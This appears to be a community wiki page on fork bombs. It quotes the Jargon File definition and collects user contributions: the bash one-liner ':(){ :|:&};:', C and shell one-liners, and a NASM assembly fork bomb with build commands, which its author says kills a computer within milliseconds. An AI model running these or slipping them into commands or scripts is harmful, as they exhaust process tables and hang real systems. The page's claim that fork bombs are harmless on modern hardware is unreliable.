The shortest, most elegant one I know of doesn't even require a compile:

Just type in :(){ :|:&};: at the bash prompt and hit return.

By the way, the fork bomb has lost its bite on modern hardware (under i386 running Linux, at least) because it will die out when the upper limit of processes is reached, and pretty much any processor above Pentium level won't be overworked in getting there.

fork = F = forked

fork bomb n.

[Unix] A particular species of wabbit that can be written in one line of C (main() {for(;;)fork();}) or shell ($0 & $0 &) on any Unix system, or occasionally created by an egregious coding bug. A fork bomb process `explodes' by recursively spawning copies of itself (using the Unix system call fork(2)). Eventually it eats all the process table entries and effectively wedges the system. Fortunately, fork bombs are relatively easy to spot and kill, so creating one deliberately seldom accomplishes more than to bring the just wrath of the gods down upon the perpetrator. See also logic bomb.

--The Jargon File version 4.3.1, ed. ESR, autonoded by rescdsk.

Here is my contribution in NASM:

section .text                        ; text segment	
        global       _start          ; make _start global	

_start:                              ; _start here	
        mov          al, 2           ; fork: system call number 1	
        int          0x80            ; interrupt. (call the kernel)	

        jmp SHORT    _start          ; jump to _start	

To compile, type:
nasm -f elf bomb.asm
ld -s -o bomb bomb.o

I find this does the job quite a bit quicker than C, killing a computer milliseconds after its run.

Update: Saturday, January 4, 2003 at 14:48:28: This is as efficient as it can be gotten (I think), it doesn't use libc if you compile it as above. The ebx paramater isn't needed. "jmp SHORT" shaves an extra 3 bytes off. "mov al, 2" shaves off another 3 (registers are initially 0).

Log in or registerto write something here or to contact authors.